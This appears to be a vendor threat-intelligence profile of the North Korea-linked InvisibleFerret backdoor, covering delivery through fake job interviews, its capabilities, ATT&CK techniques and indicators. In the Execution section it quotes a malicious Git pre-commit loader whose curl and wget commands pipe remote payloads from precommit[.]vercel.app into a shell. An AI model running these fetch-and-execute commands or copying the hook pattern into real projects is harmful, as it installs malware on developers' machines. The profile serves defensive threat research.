InvisibleFerret
InvisibleFerret is a Python-based modular backdoor and infostealer used in DPRK-linked developer-targeting campaigns, including Contagious Interview activity. Reporting in the provided content associates it with North Korea-aligned clusters tracked as Void Dokkaebi, Famous Chollima, DeceptiveDevelopment, and broader Lazarus-linked operations. It is commonly delivered as a second-stage payload by BeaverTail and appears alongside OtterCookie in phased infection chains targeting software developers, especially cryptocurrency, Web3, and DeFi personnel, through fake recruiter lures, malicious coding assessments, trojanized repositories, malicious npm packages, VS Code tasks abuse, and malicious Git hooks. The malware has been described as cross-platform, affecting Windows, macOS, and Linux. Recent variants reportedly shifted from readable Python scripts to Cython-compiled native extension modules, distributed as .pyd files on Windows and .so files on macOS, launched by lightweight Python runtime scripts to hinder analysis and evade script-based defenses. Documented capabilities include information theft and remote control, theft of browser credentials and cookies, SSH keys, cloud credentials including AWS, Azure, and GCP material, .env files, cryptocurrency wallet data, keylogging, clipboard cryptocurrency address hijacking, and file exfiltration. The content also states that InvisibleFerret stages data in consolidated folders prior to exfiltration and has used HTTP communications to the "/Uploads" URI for file exfiltration. On macOS it has established persistence via LaunchAgents using the file name "com.avatar.update.wake.plist"; additional reporting in the content notes Windows persistence via HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NvidiaDriverUpdate and Linux persistence via ~/.config/autostart/*.desktop in one campaign. The malware has also been reported to use an "adc" module to download or leverage the AnyDesk client for remote access, checking for C:/Program Files(x86)/AnyDesk/AnyDesk.exe on Windows. Mentioned infrastructure and indicators tied to delivery or campaign activity in the content include precommit[.]vercel[.]app, nvidiasdk.fly.dev, and IOC IPs 95.216.37.186 and 95.164.17.24.
Hunt this family in your stack
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
Groups observed using it
6 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
The intrusion set, also tracked as Famous Chollima, has migrated its primary implant from readable Python scripts into compiled binaries. Therefore, the revised InvisibleFerret payload distributes as .pyd files on Windows and .so components on macOS.
The techniques allow the malware to run silently and deliver a multi-stage infection chain culminating in a persistent backdoor known as InvisibleFerret.
The malware is designed to download additional payloads, including a cross-platform Python backdoor codenamed InvisibleFerret.
The campaign targeted Web3 and decentralised finance (DeFi) developers globally via AI-generated fake job offers delivered through LinkedIn, using three interoperating malware families BeaverTail, OtterCookie, and InvisibleFerret in a phased infection chain that begins with a malicious coding assessment and culminates in full credential exfiltration and wallet drainage.
The campaign targeted Web3 and decentralised finance (DeFi) developers globally via AI-generated fake job offers delivered through LinkedIn, using three interoperating malware families BeaverTail, OtterCookie, and InvisibleFerret in a phased infection chain that begins with a malicious coding assessment and culminates in full credential exfiltration and wallet drainage.
...BeaverTail, which is then used to drop a Python backdoor referred to as InvisibleFerret that can establish persistence on Windows, Linux, and macOS hosts.
Techniques & procedures
33 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
4 techniquesClickFix, which tricks users into following bogus prompts such as fake CAPTCHAs, and then infects victims' computers with trojanized codebases during the fake interview process.
North Korea is doubling down on a familiar playbook by weaponizing trust in open-source software and developer workflows... this campaign weaponizes developer trust in open-source repositories and legitimate tools like Visual Studio Code.
MITRE ATT&CK# T1195.002 — Supply Chain Compromise: Compromise Software Supply Chain
Attackers pose as cryptocurrency recruiters on LinkedIn, sending targets to seemingly legitimate GitHub repositories that contain hidden malware.
Execution
5 techniquesThis iteration uses malicious .vscode/tasks.json configurations to trigger JavaScript payloads disguised as web font files (.woff2) whenever a target opens a repository in VS Code.
The malicious .githooks/pre-commit script is short... it's a thin loader that fingerprints the OS via uname -s, then curls or wgets a per-platform payload from precommit.vercel.app and pipes it straight into a shell or cmd.exe. | curl -s 'hxxps://precommit[.]vercel.app/settings/mac?flag=5' | sh ... wget -qO- 'hxxps://precommit[.]vercel.app/settings/linux?flag=5' | sh ... curl -s hxxps://precommit[.]vercel.app/settings/windows?flag=5 | cmd
The intrusion set, also tracked as Famous Chollima, has migrated its primary implant from readable Python scripts into compiled binaries... the revised InvisibleFerret payload distributes as .pyd files on Windows and .so components on macOS... the malicious framework generates a lightweight runtime script to launch the core implant.
Behind the scenes, however, hidden task automation scripts execute obfuscated malicious JavaScript the moment the project is opened.
They then tricked victims into cloning compromised repositories locally. As a result, the engineering workstations ran the malicious components seamlessly.
Persistence
8 techniquesContagious Interview has also utilized a plist file located in /Library/LaunchAgents to enable a malicious bash script the ability to persist.
Examples include APT3 placing scripts in the startup folder, APT32 using Run keys to execute PowerShell and VBS scripts, TA2541 placing VBS files in the Startup folder, TeamTNT adding batch scripts to the startup folder, and Smoke Loader adding a script in the Startup folder to deploy the payload.
This iteration uses malicious .vscode/tasks.json configurations to trigger JavaScript payloads disguised as web font files (.woff2) whenever a target opens a repository in VS Code.
Bundlore can persist via a LaunchAgent. Calisto adds a .plist file to the /Library/LaunchAgents folder to maintain persistence. CoinTicker creates user launch agents named .espl.plist and com.apple.[random string].plist to establish persistence.
MITRE ATT&CK# T1546.016 — Event Triggered Execution: Installer Packages
Once launched, the malware uses a multi-stage loader to establish persistence across Windows, macOS, and Linux.
Multiple entries describe creating .lnk shortcuts in Startup folders, such as BACKSPACE creating a shortcut to itself in the CSIDL_STARTUP directory and DarkGate creating an LNK object in the victim startup folder. | The content repeatedly describes malware and threat actors establishing persistence by adding values under HKCU/HKLM\Software\Microsoft\Windows\CurrentVersion\Run or RunOnce, and by placing executables, scripts, .lnk files, or .bat files in the Windows Startup folder.
The content repeatedly notes creation of '.lnk shortcut' files in the Startup folder, such as BACKSPACE creating a shortcut in CSIDL_STARTUP, DarkGate creating an LNK object in the victim startup folder, and Operation Dream Job placing LNK files into victims' startup folder.
Privilege Escalation
8 techniquesContagious Interview has also utilized a plist file located in /Library/LaunchAgents to enable a malicious bash script the ability to persist.
Examples include APT3 placing scripts in the startup folder, APT32 using Run keys to execute PowerShell and VBS scripts, TA2541 placing VBS files in the Startup folder, TeamTNT adding batch scripts to the startup folder, and Smoke Loader adding a script in the Startup folder to deploy the payload.
This iteration uses malicious .vscode/tasks.json configurations to trigger JavaScript payloads disguised as web font files (.woff2) whenever a target opens a repository in VS Code.
Bundlore can persist via a LaunchAgent. Calisto adds a .plist file to the /Library/LaunchAgents folder to maintain persistence. CoinTicker creates user launch agents named .espl.plist and com.apple.[random string].plist to establish persistence.
MITRE ATT&CK# T1546.016 — Event Triggered Execution: Installer Packages
Once launched, the malware uses a multi-stage loader to establish persistence across Windows, macOS, and Linux.
Multiple entries describe creating .lnk shortcuts in Startup folders, such as BACKSPACE creating a shortcut to itself in the CSIDL_STARTUP directory and DarkGate creating an LNK object in the victim startup folder. | The content repeatedly describes malware and threat actors establishing persistence by adding values under HKCU/HKLM\Software\Microsoft\Windows\CurrentVersion\Run or RunOnce, and by placing executables, scripts, .lnk files, or .bat files in the Windows Startup folder.
The content repeatedly notes creation of '.lnk shortcut' files in the Startup folder, such as BACKSPACE creating a shortcut in CSIDL_STARTUP, DarkGate creating an LNK object in the victim startup folder, and Operation Dream Job placing LNK files into victims' startup folder.
Stealth
3 techniquesThe content repeatedly describes payloads, strings, configuration files, scripts, URLs, and binaries being obfuscated or encoded using Base64, XOR, RC4, AES, RSA, hex encoding, custom algorithms, and other methods across many malware families and threat actors.
This iteration uses malicious .vscode/tasks.json configurations to trigger JavaScript payloads disguised as web font files (.woff2).
The content repeatedly describes malware and threat actors decoding, decrypting, or deobfuscating payloads, strings, configuration data, commands, and C2 traffic prior to execution or use, e.g., 'APT28 macro uses the command certutil -decode to decode contents of a .txt file storing the base64 encoded payload' and 'Action RAT can use Base64 to decode actor-controlled C2 server communications.'
Credential Access
2 techniquesThe final payload, InvisibleFerret, is a Python-based backdoor that can steal credentials from more than a dozen crypto wallet extensions... as well as harvest browser credentials, log keystrokes, and hijack cryptocurrency addresses in the clipboard.
The final payload... can steal credentials from more than a dozen crypto wallet extensions, including MetaMask, Phantom, and Coinbase Wallet, as well as harvest browser credentials...
Discovery
4 techniques"InvisibleFerret has also queried the victim device using Python scripts to obtain the User and Hostname" and "Pikabot performs a variety of system checks and gathers system information, including commands such as whoami."
The content repeatedly describes malware and threat actors obtaining lists of running processes, using utilities such as tasklist, ps, WMI, Get-Process, CreateToolhelp32Snapshot, EnumProcesses, and similar APIs/commands to enumerate active processes on victim systems.
The content repeatedly describes malware and threat actors collecting host details such as OS version, hostname, architecture, CPU, memory, BIOS, domain, language, and other configuration data; e.g., "APT41 uses multiple built-in commands such as systeminfo and net config Workstation to enumerate victim system basic configuration information."
BADNEWS crawls the victim's local drives and collects documents with selected extensions; Machete searches the file system for files of interest; Rover searches for files on local drives based on a predefined list of file extensions.
Collection
4 techniquesThe content repeatedly describes threat actors and malware collecting, stealing, identifying, copying, or staging files, documents, credentials, logs, databases, and other information from compromised hosts or local systems.
The final payload, InvisibleFerret, is a Python-based backdoor that can steal credentials from more than a dozen crypto wallet extensions... as well as harvest browser credentials, log keystrokes, and hijack cryptocurrency addresses in the clipboard.
The content repeatedly describes adversaries and malware storing collected data, command output, credentials, archives, or files in local temporary folders, working directories, hidden directories, registry locations, recycle bins, or specific files prior to exfiltration.
The final payload... can steal credentials... log keystrokes, and hijack cryptocurrency addresses in the clipboard.
Command and Control
4 techniquesAlthough IP addresses and port numbers can be extracted from the Cython binaries through binary analysis, the runtime Python execution scripts could override these values with different C&C destinations passed as command-line arguments.
The content repeatedly describes threat actors, malware, and campaigns using HTTP and/or HTTPS for command and control, including examples such as BlackEnergy communicating with C2 over HTTP POST requests and many other families using HTTP/S for C2.
BeaverTail is known to be used by North Korean attackers for information theft and downloading additional payloads... The use of Curl for downloading and the names of the downloaded files, “p.zi” and “p2.zip”, are known behaviors of BeaverTail... downloading additional malware like InvisibleFerret.
InvisibleFerret is a Python-based modular malware with information-stealing capabilities. It also provides remote control to attackers.
Exfiltration
1 techniqueADVSTORESHELL exfiltrates data over the same channel used for C2... Agrius exfiltrated staged data using tools such as Putty and WinSCP, communicating with command and control servers... numerous malware and groups sent victim data, files, credentials, or host information over existing C2 channels.
IOCs tracked for this family
164 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
Recent activity
119 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A primary implant/backdoor used by Void Dokkaebi/Famous Chollima that has shifted from Python scripts to compiled Cython-based extension modules on Windows and macOS to evade script-based detection and support command-and-control flexibility.
Referenced as malware analyzed by Trend Micro and associated in the post with Void Dokkaebi.
A backdoor and persistence layer in the same operation, providing interactive operator access, shell sessions, file transfers, and persistence.
A Python backdoor deployed by BeaverTail that steals cryptocurrency wallets and browser credentials.
The version that knows your environment.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.